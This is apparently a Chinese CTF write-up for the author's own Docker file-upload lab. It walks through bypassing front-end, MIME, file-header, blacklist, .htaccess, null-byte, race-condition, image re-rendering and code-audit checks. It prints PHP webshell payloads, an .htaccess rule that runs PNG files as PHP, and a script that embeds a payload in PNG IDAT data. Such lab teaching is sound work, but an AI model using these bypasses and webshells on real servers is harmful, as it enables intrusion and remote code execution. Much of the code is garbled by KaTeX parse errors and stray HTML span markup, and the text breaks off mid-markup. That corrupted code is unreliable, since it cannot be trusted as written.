https://www.sqlsec.com/2020/10/upload.html#toc-heading-1
或者
https://xz.aliyun.com/t/8435

直接使用别人的靶场总感觉不太好，那么就干脆自己写一个自己的文件上传靶场吧。正好博客之前也没有单独总结过文件上传的知识点，那么就顺便水一篇文章，岂不是一举两得。当然关于文件上传 upload-labs 总结的比较全面了，非强迫症患者建议直接去刷 upload-labs ，本文很多核心代码也都是直接用了 upload-labs 的轮子的…

前言

国光有一台 XPS15 里面运行着 macOS 和 Ubuntu 双系统，其中 XPS 主要系统就是 Ubuntu，国光在 Ubuntu 里面搭建了一个离线的 CTFd 里面还运行着 Docker、宝塔。基本上很多服务都可以在我的 XPS 上运行起来了，出去讲课的时候会带着我的 XPS 和 MBP 一起，离线靶场一开美滋滋，更关键的是往自己的靶场里面填充题目有一种养成游戏的感觉，很有成就感。

又因为最近出书的问题，需要一个自己的靶场，那么就顺便开发一个自己的文件上传靶场吧，从简单到复杂根据自己的上课节奏来，开发完顺便放到 CTFd 中。本文写详细一点的话就可以做我自己靶场的官方 WP 了，也方便学生们课后自己消化吸收。当然如果也可以帮助到看到本文的其他朋友的话，这篇文章也变得就更加有意义了。

目前靶场一共有 13 题，感觉基本上的上传姿势点都覆盖了，除了 Windows 下的 点、空格、::$DATA 特性没有覆盖到，其他的感（这个偷懒理由针不戳！）

靶场部署

DockerHub 项目地址：https://hub.docker.com/r/sqlsec/ggctf-upload

Github 项目地址：https://github.com/sqlsec/upload-labs-docker

bash 
# 进入项目文件夹
cd upload-labs-docker

# 一键部署运行
docker-compose up -d

默认 13 个关卡运行的端口为 30001-30013 这 13 个端口上，如果要自定义端口信息的话，自行修改 docker-compose.yml 文件即可。

一共 13 个 Docker 容器，可能第一次部署需要一定的时间，有点硬伤， 耐心等待一下即可

本项目的优势：

  1. Docker 一键部署很方便，可以灵活的导入到 CTFd 中
  2. 题目更侧重于教学，注重对选手解题的引导，而不是一味地刁难选手
  3. 配套保姆级 WP，妈妈再也不用担心不会解题啦
  4. 前端界面在同行的衬托下没有那么丑

JS

国光认为好的题目就应该让选手在做题的时候给予线索引导，让他们可以从题目中真正学到些什么。

如何判断是否是前端验证呢？首先抓包监听，如果上传文件的时候还没有抓取到数据包，但是浏览器就提示文件类型不正确的话，那么这个多半就是前端校验了：

解法一：抓包

因为是前段验证的问题，可以直接将 shell.php 重命名为 shell.png 上传抓包的时候再将文件名修改为 shell.php 即可绕过前段限制，成功上传 webshell。

解法二：禁用 JS

因为 JS 来校验文件后缀的原因，所以可以直接在浏览器上禁用 JS 这样就可以直接上传文件了。Chrome 内核的浏览器在审查元素的状态下可以找到 Settings 选项，然后找到 「Debugger」 选项下面直接勾选 「Disable JavaScript」即可。

解法三：调试 JS

这种解法就类似于孔乙己中的茴香豆的 「茴」有几种写法？，纯粹就是为了炫技，但是并不实用，那么国光下面就简单说下调试 JS 的过程吧。

首先审查元素下下断点：

单行单步调试，找到 whitelist 变量，双击元素然后直接修改数组元素的值 ：

放掉数据包，之前的 shell.php 可直接上传成功：

成功拿到根目录下的 flag：

MIME

这样下去感觉上课都不需要 PPT 了，关键姿势点都直接贴在了题目中了：

因为提示了 MIME 类型校验，所以抓取上传的数据包然后直接修改 Content-Type 类型为：image/png 等合法的类型即可：

文件头

本题配图中里面包含了 GIF89a 已经很明显了，答案就在题目中：

本题校验了图片的文件头也就是校验图片内容的，这个时候使用一个标准的图马是可以成功绕过的，由于国光的这个代码只校验了前面几个字节，所以直接写 GIF89a 即可成功绕过：

缺陷的代码 - 1

本题的图片上的第 2 行代码是一个有缺陷的代码，黑名单关键词替换为空的操作是一种不安全的写法：

因为代码开发者的错误写法，这种情况下可以直接使用嵌套后缀绕过：

缺陷的代码 - 2

本地属于理论上漏洞，因为题目环境是 Docker 容器运行的 Linux 系统，所以本题国光修改成了 Windows 的特性

同理图片提示中的第 2 行代码也是有缺陷的，可以仅用了 str_replace 替换，这样很容易就被大小写绕过，因为 Windows 环境下不区分大小写，所以就可以让 .PHp 当做 .php 来解析了，但是 Linux 下这种大小写如果的话完全没作用，所以本题是国光自己造的漏洞，用来伪造 Windows 环境下的大小写不区分的情况：

黑名单

本题同样题目的配图中暗示已经比较明显了，默认情况下 Apache 把 phtml、pht、php、php3、php4、php5 解析为 PHP：

那么这里 Fuzz 一下，发现这些稍微冷门的后缀都可以直接绕过：

解析规则

本题的暗示也已经很明显了，只要选手查询 htaccess 怎么解析的话，就可以很顺利的解题：

因为题目是考擦 htaccess 这个上传知识点，所以先准备一个解析规则：

bash 
$ cat .htaccess
AddType application/x-httpd-php .png

然后先上传这个 .htaccess 文件到服务器的 upload 目录下：

这表示将 upload 目录下的所有 png 图片都当做 php 来解析，然后再上传一个 shell.png 即可：

此时这个 shell.png 就已经被当做 PHP 解析了：

古老的漏洞 - 1

本题依然在题目中科普了 00 截断是啥，以及 00 截断的利用条件：

00 截断多配合路径来截断，我们来抓包看看应该是存在路径信息的，然后直接在路径后面使用 %00 来截断一下就可以成功绕过，为啥 %00 直接就可以绕过了呢？这是因为路径信息是从 GET 方式传递个后端的，这样默认会进行一次 URL 解码，%00 解码后就是空字节：

这样保存的文件名就是这样的效果：

bash 
/usr/local/apache2/htdocs/upload/new.php%00shell.png

因为 %00 起到截断的作用，所以最终会在 upload 目录下面生成 new.php 的 webshell

古老的漏洞 - 2

国光这一题偷懒了，没有换题目外观，不过选手们抓包就会发现这是一个 POST 型的 00 截断：

既然是 POST 型 00 截断那么就直接抓包吧，需要在 BP 里面写一个 %00 然后再 URL 手动解码一下：

条件竞争

本题是一个条件竞争漏洞，也在题目中给了关键的功能代码贴图，以及给了解题思路了：

条件竞争的话稍微和正常的上传姿势不一样，先把题目中给的 webshell 信息复制出来备用：

php 
<?php fputs(fopen(‘xiao.php’,‘w’),’<?php eval(KaTeX parse error: Expected 'EOF', got '&' at position 15: _REQUEST[1]);?&̲gt;'</span><spa…temp_file,  i m g p a t h < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ) < / s p a n > < s p a n a r i a − h i d d e n = " t r u e " c l a s s = " l i n e − n u m b e r s − r o w s " > < s p a n > < / s p a n > < / s p a n > < / c o d e > < / p r e > < / d i v > < p > 当 < c o d e > img_path</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre></div><p>当 <code> imgp​ath</span><spanclass="tokenpunctuation">)</span><spanaria−hidden="true"class="line−numbers−rows"><span></span></span></code></pre></div><p>当<code>img_path 可控的时候，还会忽略掉 KaTeX parse error: Expected 'EOF', got '#' at position 462: …g-17"><a href="#̲二次渲染" class="he…_REQUEST[1]);?>’ -o gg_shell.png old.png

生成新的 gg_shell.png 图片如下：

这个图片是带 payload 的：

然后上传到目标网站上面渲染一下再导出：

来检测一下我们的 payload 是否还存在了：

哎貌似不对劲：

这个字符串被渲染后貌似是顺序有点奇怪。这里国光踩了很多坑，查了很多资料网上都没有好的解决方案，最后国光将这个被目标网站渲染后的图片再上传渲染，下面是渲染后的图片：

赶紧来查看一下里面是否包含图马信息：

阿这！居然成功了，真的是功夫不负有心人呐，不枉国光我周末大半夜的在公司加班写的这篇文章了！！！泪目

写入IDAT数据块

PNG 也是可以写入 IDAT 数据来绕过渲染的，由于快 23.00 了国光没有多余的时间研究里面细节了，这里直接引用了先知里面提供的一个脚本：

php 
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ( y < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > = < / s p a n > < s p a n c l a s s = " t o k e n n u m b e r " > 0 < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ; < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > y</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable"> y</span><spanclass="tokenoperator">=</span><spanclass="tokennumber">0</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">y < sizeof( p < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ) < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ; < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > p</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable"> p</span><spanclass="tokenpunctuation">)</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">y += 3) {
r < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > = < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > r</span> <span class="token operator">=</span> <span class="token variable"> r</span><spanclass="tokenoperator">=</span><spanclass="tokenvariable">p[ y < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ; < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > y</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token variable"> y</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">g = p < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > [ < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > p</span><span class="token punctuation">[</span><span class="token variable"> p</span><spanclass="tokenpunctuation">[</span><spanclass="tokenvariable">y+1];
b < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > = < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > b</span> <span class="token operator">=</span> <span class="token variable"> b</span><spanclass="tokenoperator">=</span><spanclass="tokenvariable">p[ y < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > + < / s p a n > < s p a n c l a s s = " t o k e n n u m b e r " > 2 < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ; < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > y</span><span class="token operator">+</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token variable"> y</span><spanclass="tokenoperator">+</span><spanclass="tokennumber">2</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">color = imagecolorallocate( i m g < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > , < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > img</span><span class="token punctuation">,</span> <span class="token variable"> img</span><spanclass="tokenpunctuation">,</span><spanclass="tokenvariable">r, g < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > , < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > g</span><span class="token punctuation">,</span> <span class="token variable"> g</span><spanclass="tokenpunctuation">,</span><spanclass="tokenvariable">b);
imagesetpixel( i m g < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > , < / s p a n > < s p a n c l a s s = " t o k e n f u n c t i o n " > r o u n d < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ( < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > img</span><span class="token punctuation">,</span> <span class="token function">round</span><span class="token punctuation">(</span><span class="token variable"> img</span><spanclass="tokenpunctuation">,</span><spanclass="tokenfunction">round</span><spanclass="tokenpunctuation">(</span><spanclass="tokenvariable">y / 3), 0, $color);
}

imagepng(KaTeX parse error: Expected 'EOF', got '&' at position 241: …er important">?&̲gt;</span></spa…miniPayload = ‘<?php phpinfo();?>’;

然后运行脚本插入 payload：

bash 
$ php jpg_payload.php 122728342.jpg
Success!

生成的新图片为：

然后上传到目标网站上面渲染一下再导出：

那么来查看一下最终这个 JPG 里面是否带有 payload 信息：

无疑写 phpinfo() 是很容易成功的，但是 phpinfo() 并无实质性危害，我们需要插入真正的 webshell 才可以：

php 
KaTeX parse error: Expected 'EOF', got '&' at position 93: …ter important">&̲lt;?php</span> …_GET[0]($_POST[1]);?>’;

这里非常玄学，在国光经历了不知道多少次失败后，才成功将上面的 payload 完整插入

这个图马被 imagecreatefromjpeg 渲染后如下：

查看一下 payload 是否存在：

完美，尝试直接文件包含来执行攻击语句试试看：

JPG 坑点总结

  1. 需要被 imagecreatefromjpeg 渲染或再用工具
  2. 图片找的稍微大一点 成功率更高
  3. Payload 语句越短成功率越高
  4. 一张图片不行就换一张 不要死磕
  5. 国光补充：貌似白色的图片成功率也比较高
  6. <?php G E T [ 0 ] ( _GET[0]( G​ET[0](_POST[1]);?> 这种payload 成功率很高

代码审计

代码审计这一题如果可以动态调试的话，那么理解起来就会比较简单：

这个题目是直接 copy Upload-labs 里面的最后一关，这个貌似还是后面新增的题目，下面是核心代码：

php 
 i s u p l o a d < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > = < / s p a n > < s p a n c l a s s = " t o k e n c o n s t a n t b o o l e a n " > f a l s e < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ; < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > is_upload</span> <span class="token operator">=</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span> <span class="token variable"> isu​pload</span><spanclass="tokenoperator">=</span><spanclass="tokenconstantboolean">false</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">msg = null;
if(!empty(KaTeX parse error: Expected '}', got 'EOF' at end of input: …oken variable">allow_type = array(‘image/jpeg’,‘image/png’,‘image/gif’);
if(!in_array( F I L E S < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > [ < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ u p l o a d f i l e ′ < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > [ < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ t y p e ′ < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > , < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > _FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'type'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token variable"> F​ILES</span><spanclass="tokenpunctuation">[</span><spanclass="tokenstringsingle−quoted−string">′uploadf​ile′</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">[</span><spanclass="tokenstringsingle−quoted−string">′type′</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">,</span><spanclass="tokenvariable">allow_type)){
KaTeX parse error: Expected 'EOF', got '}' at position 194: …n punctuation">}̲</span><span cl…file = empty( P O S T < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > [ < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ s a v e n a m e ′ < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ) < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > ? < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > _POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'save_name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">?</span> <span class="token variable"> P​OST</span><spanclass="tokenpunctuation">[</span><spanclass="tokenstringsingle−quoted−string">′saven​ame′</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">)</span><spanclass="tokenoperator">?</span><spanclass="tokenvariable">_FILES[‘upload_file’][‘name’] :  P O S T < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > [ < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ s a v e n a m e ′ < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ; < / s p a n > < s p a n c l a s s = " t o k e n k e y w o r d " > i f < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ( < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > ! < / s p a n > < s p a n c l a s s = " t o k e n f u n c t i o n " > i s a r r a y < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ( < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > _POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'save_name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">is_array</span><span class="token punctuation">(</span><span class="token variable"> P​OST</span><spanclass="tokenpunctuation">[</span><spanclass="tokenstringsingle−quoted−string">′saven​ame′</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">;</span><spanclass="tokenkeyword">if</span><spanclass="tokenpunctuation">(</span><spanclass="tokenoperator">!</span><spanclass="tokenfunction">isa​rray</span><spanclass="tokenpunctuation">(</span><spanclass="tokenvariable">file)) {
 f i l e < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > = < / s p a n > < s p a n c l a s s = " t o k e n f u n c t i o n " > e x p l o d e < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ( < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ . ′ < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > , < / s p a n > < s p a n c l a s s = " t o k e n f u n c t i o n " > s t r t o l o w e r < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ( < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > file</span> <span class="token operator">=</span> <span class="token function">explode</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'.'</span><span class="token punctuation">,</span> <span class="token function">strtolower</span><span class="token punctuation">(</span><span class="token variable"> file</span><spanclass="tokenoperator">=</span><spanclass="tokenfunction">explode</span><spanclass="tokenpunctuation">(</span><spanclass="tokenstringsingle−quoted−string">′.′</span><spanclass="tokenpunctuation">,</span><spanclass="tokenfunction">strtolower</span><spanclass="tokenpunctuation">(</span><spanclass="tokenvariable">file));
}

    <span class="token variable">$ext</span> <span class="token operator">=</span> <span class="token function">end</span><span class="token punctuation">(</span><span class="token variable">$file</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$allow_suffix</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'jpg'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'png'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'gif'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_array</span><span class="token punctuation">(</span><span class="token variable">$ext</span><span class="token punctuation">,</span> <span class="token variable">$allow_suffix</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"禁止上传该后缀文件!"</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">else</span><span class="token punctuation">{</span><span class="token variable">$file_name</span> <span class="token operator">=</span> <span class="token function">reset</span><span class="token punctuation">(</span><span class="token variable">$file</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'.'</span> <span class="token operator">.</span> <span class="token variable">$file</span><span class="token punctuation">[</span><span class="token function">count</span><span class="token punctuation">(</span><span class="token variable">$file</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$temp_file</span> <span class="token operator">=</span> <span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$img_path</span> <span class="token operator">=</span> <span class="token constant">UPLOAD_PATH</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'/'</span> <span class="token operator">.</span><span class="token variable">$file_name</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">move_uploaded_file</span><span class="token punctuation">(</span><span class="token variable">$temp_file</span><span class="token punctuation">,</span> <span class="token variable">$img_path</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"文件上传成功！"</span><span class="token punctuation">;</span><span class="token variable">$is_upload</span> <span class="token operator">=</span> <span class="token constant boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span><span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"文件上传失败！"</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span>
<span class="token punctuation">}</span>





}else{

    KaTeX parse error: Expected 'EOF', got '}' at position 190: …n punctuation">}̲</span><span ar…allow_type = array(‘image/jpeg’,‘image/png’,‘image/gif’);


if(!in_array( F I L E S < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > [ < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ u p l o a d f i l e ′ < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > [ < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ t y p e ′ < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > , < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > _FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'type'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token variable"> F​ILES</span><spanclass="tokenpunctuation">[</span><spanclass="tokenstringsingle−quoted−string">′uploadf​ile′</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">[</span><spanclass="tokenstringsingle−quoted−string">′type′</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">,</span><spanclass="tokenvariable">allow_type)){

    echo “<script>black();</script>”;

    }


所以必须保证我们上传的表单 MIME 类型一定要符合标准。


接着对我们提交的 sava_name 的字符串进行处理，如果不是数组的话就以 .为分隔，打散为数组：





        php
    


 f i l e < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > = < / s p a n > < s p a n c l a s s = " t o k e n k e y w o r d " > e m p t y < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ( < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > file</span> <span class="token operator">=</span> <span class="token keyword">empty</span><span class="token punctuation">(</span><span class="token variable"> file</span><spanclass="tokenoperator">=</span><spanclass="tokenkeyword">empty</span><spanclass="tokenpunctuation">(</span><spanclass="tokenvariable">_POST[‘save_name’]) ?  F I L E S < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > [ < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ u p l o a d f i l e ′ < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > [ < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ n a m e ′ < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > : < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > _FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span> <span class="token punctuation">:</span> <span class="token variable"> F​ILES</span><spanclass="tokenpunctuation">[</span><spanclass="tokenstringsingle−quoted−string">′uploadf​ile′</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">[</span><spanclass="tokenstringsingle−quoted−string">′name′</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">:</span><spanclass="tokenvariable">_POST[‘save_name’];





if (!is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: …oken variable">file = explode(’.’, strtolower(KaTeX parse error: Expected 'EOF', got '}' at position 165: …n punctuation">}̲</span><span ar…ext = end( f i l e < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ) < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ; < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > file</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable"> file</span><spanclass="tokenpunctuation">)</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">allow_suffix = array(‘jpg’,‘png’,‘gif’);


if (!in_array( e x t < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > , < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > ext</span><span class="token punctuation">,</span> <span class="token variable"> ext</span><spanclass="tokenpunctuation">,</span><spanclass="tokenvariable">allow_suffix)) {

    echo “<script>black();</script>”;

    }


如果不是合法后缀的话直接就报错了，所以我们老老实实的传入合法的字符串类型的不行的，这里的传入一个数组。比如这样的数组：





        php
    


KaTeX parse error: Expected 'EOF', got '&' at position 156: …ken operator">=&̲gt;</span><span…file_name = reset( f i l e < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ) < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > . < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ . ′ < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > . < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > file</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'.'</span> <span class="token operator">.</span> <span class="token variable"> file</span><spanclass="tokenpunctuation">)</span><spanclass="tokenoperator">.</span><spanclass="tokenstringsingle−quoted−string">′.′</span><spanclass="tokenoperator">.</span><spanclass="tokenvariable">file[count( f i l e < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ) < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > − < / s p a n > < s p a n c l a s s = " t o k e n n u m b e r " > 1 < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ; < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > file</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token variable"> file</span><spanclass="tokenpunctuation">)</span><spanclass="tokenoperator">−</span><spanclass="tokennumber">1</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">file_name = ‘shell.php/’ . ‘.’ .  f i l e < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > [ < / s p a n > < s p a n c l a s s = " t o k e n n u m b e r " > 2 < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > − < / s p a n > < s p a n c l a s s = " t o k e n n u m b e r " > 1 < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ] < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ; < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > = < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ s h e l l . p h p / ′ < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > . < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ ′ < / s p a n > < s p a n c l a s s = " t o k e n o p e r a t o r " > = < / s p a n > < s p a n c l a s s = " t o k e n s t r i n g s i n g l e − q u o t e d − s t r i n g " > ′ s h e l l . p h p / . ′ < / s p a n > < s p a n a r i a − h i d d e n = " t r u e " c l a s s = " l i n e − n u m b e r s − r o w s " > < s p a n > < / s p a n > < s p a n > < / s p a n > < / s p a n > < / c o d e > < / p r e > < / d i v > < p > 这 样 最 后 一 步 ： < / p > < d i v c l a s s = " c o d e − a r e a " s t y l e = " p o s i t i o n : r e l a t i v e " > < i c l a s s = " f a s f a − a n g l e − u p c o d e − e x p 